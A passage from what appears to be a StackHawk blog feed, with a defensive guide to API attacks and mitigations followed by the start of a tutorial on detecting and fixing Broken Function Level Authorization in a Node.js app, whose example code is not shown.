resources.&lt;/p&gt;&lt;p&gt;This blog will examine these attack vectors and the specific techniques attackers employ. More importantly, we will explore a multi-layered defense strategy that combines strong authentication, rate limiting, secure session management, input validation, and encryption. We will also examine how security testing can ensure that your defense strategy is robust and working as intended. By understanding the threat landscape and implementing these API security best practices, you can fortify your APIs against attacks and ensure your data&amp;#39;s confidentiality, integrity, and availability.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API (Application Programming Interface) attacks are a serious and escalating threat as APIs become more widely used and handle increasingly important tasks. These unauthorized attempts to access or manipulate APIs can result in significant data breaches, system disruptions, and financial losses for organizations. In recent years, there has been a surge in API attacks, particularly targeting critical sectors like healthcare, finance, and government.&lt;/p&gt;&lt;p&gt;Defending against API attacks is increasingly challenging due to the dynamic nature of APIs and the constant introduction of new API technologies. DevOps&amp;#39;s rapid pace and traditional network security limitations often leave organizations vulnerable to API attacks. Attackers exploit these weaknesses by carefully studying API implementations and structures, probing for vulnerabilities, and devising attack strategies to overcome any security that may or may not be implemented on the endpoint.&lt;/p&gt;&lt;p&gt;To effectively protect your APIs, it&amp;#39;s crucial to understand the anatomy of these attacks and the potential weaknesses in your API security. By understanding the threat landscape and creating your API security checklist, you can proactively implement security measures to safeguard your APIs and the data that flows through them.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Anatomy of Common API Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API attacks encompass various tactics designed to exploit vulnerabilities and achieve malicious objectives. They can range from stealing credentials to manipulating business logic or exploiting technical weaknesses. Understanding the anatomy of these attacks and how attackers exploit vulnerabilities is essential to developing effective defenses and usually involves protecting APIs from multiple angles. Let&amp;#39;s look at a few of the most common attacks occurring within APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection Attacks: SQL Injection and Cross-Site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;API injection attacks, such as SQL injection (SQLi) and cross-site scripting (XSS), are among the most common and dangerous API threats. SQL injection attacks insert malicious SQL queries into input fields to manipulate or extract data from the underlying database. On the other hand, XSS injects malicious scripts into web pages viewed by other users, potentially compromising their interactions with the application.&lt;/p&gt;&lt;p&gt;These attacks often exploit inadequate input validation mechanisms, allowing attackers to introduce harmful code into the system. To ensure these attacks cannot transpire, robust input validation is a crucial defense against injection attacks, ensuring all data is thoroughly sanitized and checked before processing within the API&amp;#39;s logic.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial of Service (DoS) and Distributed Denial of Service (DDoS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks aim to disrupt the availability of an API by overwhelming it with a flood of requests. DoS attacks typically originate from a single source, while DDoS attacks leverage multiple compromised machines to amplify the impact.&lt;/p&gt;&lt;p&gt;One of the main ways to prevent this is to introduce rate limiting to the API endpoint. Rate limiting is an effective defense against DoS and DDoS attacks since it controls the flow of traffic to the API, preventing it from being overwhelmed. Additionally, implementing anomaly monitoring detection and using CAPTCHAs can help mitigate automated threats.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Authentication Flaws and Session Token Hijacking&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Authentication flaws are vulnerabilities in the authentication process that allow attackers to gain access to APIs through broken access control mechanisms. These flaws can stem from stolen credentials, weak password policies, insecure session management, or credential-stuffing attacks. In some cases, attackers can hijack valid session tokens to impersonate legitimate users, gaining unauthorized access. Attackers can also intercept the session token issuing API through a Man in the Middle (MITM) attack to gain access to a user&amp;#39;s account and potentially compromise sensitive information.&lt;/p&gt;&lt;p&gt;Strong authentication mechanisms, such as multi-factor authentication (MFA) and secure session management, prevent unauthorized access. MFA adds an extra layer of security by requiring users to provide multiple verification forms, while secure session management ensures that session tokens are properly generated, stored, and validated.&lt;/p&gt;&lt;p&gt;These common API attacks are well-documented, and many ways exist to test and protect against them. The best approach to prevent API attacks is to be proactive and ensure they don’t take down or exploit an API. The next section will explore how to protect against these exploits proactively.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Proactive Measures for API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Proactive API security involves implementing measures to defend against attacks and actively identify and mitigate potential threats. This multi-layered approach is crucial in preventing and detecting API attacks before and if they occur.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rate Limiting and Strong Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Rate limiting and strong authentication mechanisms are fundamental components of proactive API security. Rate limiting acts as a traffic controller, restricting the number of requests an API can handle within a given timeframe from a specific user, usually controlled through API keys. This effectively mitigates the risk of denial-of-service (DoS) attacks and other automated threats since it prohibits massive spikes in traffic.&lt;/p&gt;&lt;p&gt;Additionally, Strong authentication mechanisms, such as multi-factor authentication (MFA), provide an additional layer of security by requiring users to verify their identity through multiple channels. Unlike UI-based MFA, API-based MFA may require users to supply multiple credentials, such as an API key and a client secret. This two-factor authentication significantly reduces the risk of unauthorized access, even if credentials are compromised.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encryption and Secure Data Transfers&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption is critical to data security, ensuring that sensitive information remains confidential during transmission and once stored. Protocols like Secure Sockets Layer (SSL) and Transport Layer Security (TLS) encrypt data in transit, protecting it from eavesdropping and tampering. Most databases have built-in functionality that allows users to automatically encrypt the data at rest once stored on the database.&lt;/p&gt;&lt;p&gt;Encryption is critical for safeguarding sensitive and personal information in the context of APIs. Encrypting API traffic can effectively neutralize man-in-the-middle attacks and other attempts to intercept or modify data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Regular Security Assessments and Input Validation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Regular security assessments are essential for identifying and addressing vulnerabilities in your API infrastructure. These assessments should be conducted by experienced security professionals who can thoroughly examine your APIs, pinpoint weaknesses, and recommend appropriate remediation measures. To go even further, implementing automated solutions, such as Dynamic Application Security Testing (DAST) and Static Application Security Testing (SAST), is also a great way to catch security defects before they have a chance to hit production servers.&lt;/p&gt;&lt;p&gt;Input validation is another critical defense mechanism. It involves rigorously checking all input data to ensure it conforms to expected formats and does not contain malicious code. This is crucial for preventing injection attacks like SQLi and XSS, which often exploit poorly validated input fields. Many automated testing solutions will also check for these types of vulnerabilities.&lt;/p&gt;&lt;p&gt;By proactively implementing these security measures, you can create a robust security strategy that significantly reduces the risk of API attacks. This continuous process requires vigilance, adaptation, and investment in the latest security technologies, tools, and practices.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Mitigating API Security Vulnerabilities&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Mitigating API security vulnerabilities requires a proactive and adaptive approach. This is required since you want to mitigate exploits before they happen and exploits always evolve. In addition to the proactive steps mentioned above, there are some other strategies you can implement to keep your APIs secure. Let&amp;#39;s take a look at a few areas to improve API security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Zero Trust Architecture and API Asset Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Adopting a zero-trust architecture means assuming that no user or device can be inherently trusted. This approach requires continuous authentication and authorization for every request, regardless of origin. Comprehensive API asset management involves maintaining an inventory of all APIs, their versions, and their associated security configurations. API discovery and cataloging tools can help to stay on top of this requirement.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Automated API Documentation and Security Firewalls&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Automated API documentation tools can help streamline the process of documenting API specifications, security policies, and usage guidelines. This documentation is crucial for developers, security teams, and API consumers to understand and adhere to security best practices. API security firewalls provide additional protection by filtering traffic and blocking malicious requests based on predefined rules, generally documented within the API docs. These firewalls can help prevent attacks like SQL injection, cross-site scripting, and unauthorized access.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Access Control and Usage Policies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Implementing robust access control policies is essential for preventing unauthorized access to APIs. API gateways are central control points, enforcing authentication and authorization rules. A fine-grained access control policy allows you to define permissions at a granular level, ensuring that users can only access the specific resources and actions they are authorized to use.&lt;/p&gt;&lt;p&gt;Usage policies define the acceptable use of APIs, including rate limits, quotas, and restrictions on specific actions. Enforcing these policies through the usage of an API gateway or other mechanisms can prevent abuse and ensure fair access to your APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Monitoring and Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Continuous monitoring and logging of API activity are crucial for detecting and responding to security incidents. Insufficient logging makes detecting and understanding what happened during an API attack harder. By collecting and analyzing API logs, you can identify suspicious patterns, unauthorized access attempts, and potential vulnerabilities. You can see attacks as they happen by including real-time monitoring, allowing immediate response, and minimizing the impact.&lt;/p&gt;&lt;p&gt;Effective logging practices include capturing detailed information about API requests and responses, including timestamps, user IDs, IP addresses, and error codes. This descriptive information around every piece of the API call is invaluable for analysis and incident response.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Error Handling and Response Strategies&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Proper error handling is essential for both security and user experience. API errors should be handled gracefully, providing clear and informative error messages to API consumers. Consistent error response formats help developers troubleshoot and resolve issues more efficiently.&lt;/p&gt;&lt;p&gt;Even though descriptive errors are best for user experience, error responses should not leak sensitive information, such as stack traces or database details. Instead, they should provide generic error codes and messages that help users understand the nature of the problem without compromising security. Additionally, implementing retry mechanisms and fallback strategies can help mitigate the impact of temporary errors and improve the resilience of your APIs.&lt;/p&gt;&lt;p&gt;Implementing these comprehensive security measures and combining the others we have discussed will help to secure your APIs sufficiently. To fully understand the impact of foregoing these security measures, let&amp;#39;s examine some real-world incidents.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Case Studies: Lessons from Real-World API Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Examining real-world API attacks provides valuable insights into the tactics attackers employ and the vulnerabilities they exploit. These case studies serve as cautionary tales, highlighting the importance of robust API security practices.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Instagram API Breach: The Danger of Exposed Personal Information&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In 2019, a vulnerability in Instagram&amp;#39;s API allowed attackers to access the personal information of high-profile users, including phone numbers and email addresses. This breach exposed a critical weakness in the API&amp;#39;s authentication and authorization mechanisms, enabling attackers to bypass security measures and retrieve sensitive data without proper authorization.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Lessons Learned:&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Strong Authentication is Critical:&lt;/b&gt; Implement multi-factor authentication (MFA) and strict authorization controls to prevent unauthorized access to sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Assessments:&lt;/b&gt; Conduct routine security assessments to identify and address vulnerabilities before they can be exploited by attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Minimization:&lt;/b&gt; Only collect and store the minimum amount of user data necessary to fulfill the API&amp;#39;s intended purpose and minimize excessive data exposure.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Snapchat API Breach: Exploiting Insecure Direct Object References&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In 2013, Snapchat suffered a major security breach due to insecure direct object references (IDOR) in its API. This vulnerability allowed attackers to bypass API server protections and directly access user data, including usernames and phone numbers, by manipulating the parameters in API requests.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Lessons Learned:&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation is Crucial:&lt;/b&gt; Validate all user input to prevent injection attacks like IDOR, which can allow attackers to access unauthorized resources.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Defense in Depth:&lt;/b&gt; Implement multiple layers of security, including input validation, access controls, and rate limiting, to create a robust defense against attacks.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Uber Data Breach: The Cost of Inadequate Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In 2016, Uber experienced a data breach that exposed the personal information of 57 million users and drivers. The attackers accessed sensitive data stored on a third-party cloud service by exploiting weak authentication mechanisms and insufficient security controls.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Lessons Learned:&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Third-Party Services:&lt;/b&gt; Ensure that any third-party services that handle your data have robust security measures.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Incident Response Planning:&lt;/b&gt; Develop and test an incident response plan to ensure a swift and effective response in case of a breach.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Transparency and Communication:&lt;/b&gt; Communicate openly and transparently with users in case of a security incident, providing information about the breach and the steps being taken to mitigate its impact.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;These case studies underscore the importance of proactive API security measures, such as strong authentication, input validation, access control, encryption, and regular security assessments. By learning from others&amp;#39; mistakes and implementing best practices, you can significantly reduce the risk of API attacks and protect your data and reputation.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk to Protect Against API Attacks Proactively&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the ever-evolving landscape of API security, proactively testing and identifying vulnerabilities is crucial to staying ahead of potential threats. StackHawk is a powerful API security testing platform that enables you to discover, analyze, and address vulnerabilities in your APIs before they are exploited by attackers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Key Functionalities of StackHawk:&lt;/b&gt;&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Vulnerability Scanning:&lt;/b&gt; StackHawk performs automated security scans of your APIs, checking for a wide range of vulnerabilities, including those mentioned in this guide (injection attacks, cross-site scripting, authentication flaws, etc.).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CI/CD Integration:&lt;/b&gt; Seamlessly integrate StackHawk into your existing CI/CD pipeline to automate security testing as part of your development workflow. This ensures that security checks are performed early and often, reducing the risk of vulnerabilities reaching production environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritized Findings:&lt;/b&gt; StackHawk prioritizes identified vulnerabilities based on their severity and potential impact, helping you focus your remediation efforts on the most critical issues.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Detailed Remediation Guidance:&lt;/b&gt; StackHawk provides actionable remediation guidance for each identified vulnerability, making it easier for developers to understand and fix the issues.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Introducing StackHawk&amp;#39;s API Discovery Feature (Powered by HawkAI)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A significant challenge in API security is discovering and understanding all the APIs within your environment. StackHawk&amp;#39;s API Discovery feature, powered by HawkAI, addresses this challenge by automatically identifying and documenting your APIs.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HawkAI:&lt;/b&gt; Leveraging AI and source code insights, HawkAI analyzes your codebase to uncover documented and undocumented APIs. This comprehensive discovery process ensures that no API endpoint goes untested.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Security Testing:&lt;/b&gt; By combining API discovery with StackHawk&amp;#39;s robust scanning capabilities, you can ensure that all of your APIs, including those in your attack surface that may have been previously unknown or overlooked, are thoroughly tested for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Collaboration:&lt;/b&gt; HawkAI bridges the gap between security and development teams by providing insights into the ownership and usage of APIs. This fosters collaboration and facilitates quicker remediation of vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The importance of API security can&amp;#39;t be understated in today&amp;#39;s interconnected digital landscape. As APIs have become crucial in almost every modern application, they have become a popular and sometimes easy target for attackers. API attacks are a persistent and evolving threat, capable of causing significant damage to organizations through data breaches, service disruptions, and financial losses.&lt;/p&gt;&lt;p&gt;This guide has explored a range of proactive strategies for defending your APIs against many types of API attacks. We looked at various angles and discussed the critical role of strong authentication, rate limiting, input validation, encryption, and regular security assessments in fortifying your API infrastructure.&lt;/p&gt;&lt;p&gt;Understanding the anatomy of common API attacks and implementing the defense-in-depth strategies outlined in this guide can significantly reduce your organization&amp;#39;s risk exposure and improve your security posture. Remember, API security is not a static set-and-forget component but an ongoing process that requires continuous monitoring, adaptation, and investment in the latest security technologies and practices.&lt;/p&gt;&lt;p&gt;When building out your API security stack, StackHawk is a critical component that allows you to validate your current API security status and proactively improve it. By using StackHawk&amp;#39;s modern DAST approach, many of the most common API vulnerabilities can be easily detected and remedied before they have a chance to hit production. By plugging StackHawk directly into your CI/CD pipeline, testing can be automated to alert you and your team of critical API security issues introduced with every pull request. To try out StackHawk for yourself, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a free trial today&lt;/a&gt; and test your APIs in minutes to find and fix any security flaws that could be vulnerable to an API attack.&lt;/p&gt;&lt;p&gt;Don&amp;#39;t wait for a security incident to force you into reactive mode. Take proactive steps to secure your APIs and protect your valuable data assets. By prioritizing API security, you can build more resilient and secure APIs that your users can trust.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing BFLA Vulnerabilities in NodeJS With StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-bfla-vulnerabilities-in-nodejs-with-stackhawk</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For developers striving to build secure APIs, &lt;a href=&quot;https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/&quot;&gt;Broken Function Level Authorization (BFLA)&lt;/a&gt; is a crucial vulnerability demanding meticulous attention. BFLA belongs to the &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-owasps-top-10-vulnerabilities-explained/&quot;&gt;OWASP API Security Top 10&lt;/a&gt; list and can pave the way to unauthorized access and manipulation of functionality within your API, compromising the overall integrity of your system. This occurs when applications lack adequate authorization checks focused on specific functions or features. This weakness enables attackers to manipulate calls to endpoints to which they shouldn&amp;#39;t have access, potentially escalating access to functions reserved for higher privilege levels (like administrative actions).&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore BFLA in more detail, including its nature, common root causes, and how to pinpoint BFLA vulnerabilities in your API code. Following this, we&amp;#39;ll use StackHawk to scan a susceptible Node.js application, locate a BFLA vulnerability in one of our endpoints, and then implement the necessary fix. Finally, we&amp;#39;ll re-scan to validate that the vulnerability has been patched. Let’s begin by digging into the foundations of BFLA vulnerabilities.&lt;/p&gt;&lt;h2&gt;What is Broken Function Level Authorization (BFLA)?&lt;/h2&gt;&lt;p&gt;Broken Function Level Authorization (BFLA) remains a significant risk to the security of APIs. This vulnerability surfaces when an API fails to implement robust controls, allowing users to access features and functions beyond their assigned permissions. Function-level authorization defines specific API actions that different user groups (or roles) can execute. For instance, a regular user of a banking app should not be able to perform administrative actions related to other user accounts. BFLA flaws emerge when these intended restrictions are weak or missing.&lt;/p&gt;&lt;p&gt;The pattern of BFLA attacks is straightforward. An attacker begins by analyzing API behavior to understand how API endpoints are named or structured. Then, they might attempt to alter HTTP methods (e.g., switch from GET to POST) or other elements in the function call requests. This is done in the hope of reaching unauthorized functionality. Weak authorization checks allow attackers to view, change, or execute commands with elevated privileges.&lt;/p&gt;&lt;h2&gt;How Does BFLA Differ from BOLA?&lt;/h2&gt;&lt;p&gt;You might encounter terms like &amp;quot;BFLA&amp;quot; and &amp;quot;BOLA&amp;quot; (Broken Object Level Authorization) in API security discussions. The overlap between these terms is significant, so understanding the subtle distinction is helpful. BOLA spotlights scenarios where an API directly exposes references or identifiers to internal objects, making them vulnerable to manipulation. &lt;b&gt;BFLA takes a broader view, focusing on any breakdown in the logic that enforces function-level authorization within an API.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;In short, BFLA is the broader category that encompasses BOLA-type issues. BFLA concerns go beyond the use of predictable IDs; they also stem from a failure to rigorously validate whether the user making a request is authorized to execute that particular API function.&lt;/p&gt;&lt;h2&gt;What is The Root Cause of BFLA?&lt;/h2&gt;&lt;p&gt;BFLA vulnerabilities typically stem from development practices that prioritize convenience over robust authorization. Here are several common contributing factors:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Oversimplification of Authorization:&lt;/b&gt; APIs that rely on basic checks without considering the full range of functions they expose are vulnerable to exploitation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Lack of Consistent Authorization:&lt;/b&gt; Inconsistent or absent authorization across various API endpoints creates potential entry points for attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Blind Trust in User-Supplied Data:&lt;/b&gt; All information users provide must be treated cautiously and validated, including parameters that might influence the functionality being accessed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;quot;Security Through Obscurity&amp;quot;:&lt;/b&gt; Relying on hard-to-guess API paths or obscure naming conventions offers a false sense of security. Determined attackers can often bypass these.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At its core, BFLA arises from the absence of robust and function-specific authorization controls embedded directly into the API&amp;#39;s design.&lt;/p&gt;&lt;h2&gt;Preventing Broken Function Level Authorization (BFLA) Vulnerabilities&lt;/h2&gt;&lt;p&gt;The key to avoiding BFLA vulnerabilities lies in adopting a comprehensive approach encompassing secure design, robust authorization, and continuous monitoring. Here are some best practices:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enforce Rigorous Authorization Checks:&lt;/b&gt; Validate users&amp;#39; permissions with each attempted access to an API function.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Least Privilege Principle:&lt;/b&gt; Limit user and application access to the minimum necessary functions and data required.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation:&lt;/b&gt; Carefully scrutinize all input data from users, particularly values that can influence what API functions are accessed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Security Testing:&lt;/b&gt; Use automated security testing tools like StackHawk and employ penetration testing to uncover vulnerabilities like BLFA proactively.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Developer Education:&lt;/b&gt; Train your development team in secure coding practices with awareness of BFLA and similar vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these guidelines, you&amp;#39;ll significantly reduce your application&amp;#39;s risk of BFLA vulnerabilities, ensuring users can only access what they&amp;#39;re supposed to. Now, let’s put this into practice by looking at a vulnerable NodeJS application and using StackHawk to identify the BFLA vulnerability and help us verify that the fix we will implement successfully remediates the issue.&lt;/p&gt;&lt;h2&gt;Detecting and Fixing BFLA Vulnerabilities in NodeJS&lt;/h2&gt;&lt;h3&gt;Building The Vulnerable Endpoint&lt;/h3&gt;&lt;p&gt;Below is an example of a simple Node.js API with a BFLA vulnerability. This API allows users to delete a user based on a user ID passed in the URL. However, it doesn&amp;#39;t perform any checks to ensure that the user making the request has the applicable role, being an “admin, before running the logic within the endpoint. This demonstrates a BFLA vulnerability in its most simple form, allowing an unauthorized user to perform a function they shouldn’t have access to.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Please note: This is an intentionally vulnerable API for demonstration purposes. Do not use this code in a real application, as it is not production-ready.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;To run this app, first, ensure you have Node.js installed. Then, create a new directory for your project, ours is named “bfla-api-example”, and initialize the directory by running&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm init&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You&amp;#39;ll also need to install Express, a popular web framework for Node.js, as well as a few other dependencies we will use in the project. You’ll do this by running the following npm command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm install express body-parser sqlite3 express-oas-generator jsonwebtoken&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Note: The jsonwebtoken dependency will be used later, but we will install it now for ease.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Now, in the root of the project we just created, create a file named &lt;b&gt;app.js&lt;/b&gt; and add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s run through a quick breakdown of the updated code, which demonstrates how to create a simple web server using Node.js, Express.js, SQLite3, and automated OpenAPI documentation creation with express-oas-generator. This code provides a REST API for accessing and modifying user information stored in an SQLite database, running in memory for simplicity and demonstration purposes. Here&amp;#39;s a detailed look at the key components and actions within the code:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Initialization of Express App&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The code begins with initializing an Express application (`&lt;code&gt;&lt;b&gt;const app = express();&lt;/b&gt;&lt;/code&gt;`), the backbone for creating API endpoints.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;2. Configuration for OpenAPI Documentation&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The `&lt;code&gt;&lt;b&gt;expressOasGenerator.init(app, ...);&lt;/b&gt;&lt;/code&gt;` section is set up to generate OpenAPI documentation for the Express app automatically. This documentation dynamically adjusts based on the defined API paths.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;In this initialization, the documentation for the GET method at the `/users/{id}` endpoint is explicitly modified to detail the parameters expected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The PUT method for the &lt;b&gt;/users/{id}&lt;/b&gt; endpoint is excluded from the OpenAPI documentation, indicating that it is intended for admin access only, thus, not publicly documented.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;3. Use of Middleware&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The `&lt;code&gt;&lt;b&gt;app.use(bodyParser.json());&lt;/b&gt;&lt;/code&gt;` configures the Express app to use `body-parser` middleware, enabling the app to parse JSON request bodies. This is essential for endpoints that accept data, such as PUT requests.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;4. SQLite Database Setup&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An SQLite database is initialized in memory (`&lt;code&gt;&lt;b&gt;const db = new sqlite3.Database(&amp;#39;:memory:&amp;#39;);&lt;/b&gt;&lt;/code&gt;`), making it temporary and ideal for demonstrations without external database connections.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Inside `&lt;code&gt;&lt;b&gt;db.serialize(...)&lt;/b&gt;&lt;/code&gt;`, a table named `&lt;b&gt;users&lt;/b&gt;` is created, and three example user records are inserted, setting up initial data with various roles.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;5. API Endpoint Definitions:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;GET Endpoint:&lt;/b&gt; The route `&lt;code&gt;&lt;b&gt;app.get(&amp;#39;/users/:id&amp;#39;, ...)&lt;/b&gt;&lt;/code&gt;` defines an API endpoint that allows clients to fetch user data by ID. It uses a parameterized SQL query to retrieve user details, ensuring protection against SQL injection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PUT Endpoint:&lt;/b&gt; The route `&lt;code&gt;&lt;b&gt;app.put(&amp;#39;/users/:id&amp;#39;, ...&lt;/b&gt;&lt;/code&gt;&lt;b&gt;)&lt;/b&gt;` provides a means to update user details, accept JSON input for name and role, and perform an SQL update operation. This endpoint is made exclusive for specific roles by excluding it from the publicly generated API documentation. Although this endpoint is excluded from the API spec output, it doesn’t have any actual authorization in place, meaning that it is still fully accessible.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;6. Server Initialization:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Finally, the application listens to incoming requests on a specified port (&lt;b&gt;`const PORT = 4000;`&lt;/b&gt;), making the API accessible to clients. A console log message confirms the server&amp;#39;s successful launch.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This setup provides a functional Express app with SQLite for handling simple user data operations. It illustrates how to selectively document API endpoints using OpenAPI specifications, hiding methods from the spec that shouldn’t be publicly available. That being said, there still is a gap when it comes to the actual authorization of the PUT endpoint and is where the BFLA vulnerability exists.&lt;/p&gt;&lt;h3&gt;Running The Code&lt;/h3&gt;&lt;p&gt;Now that our code is complete, it’s time to run the application and bring up our API. To run your API, run the following command in a terminal pointed to the root of your project:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node app.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Once the application is up and running, you’ll notice that the &lt;b&gt;PUT 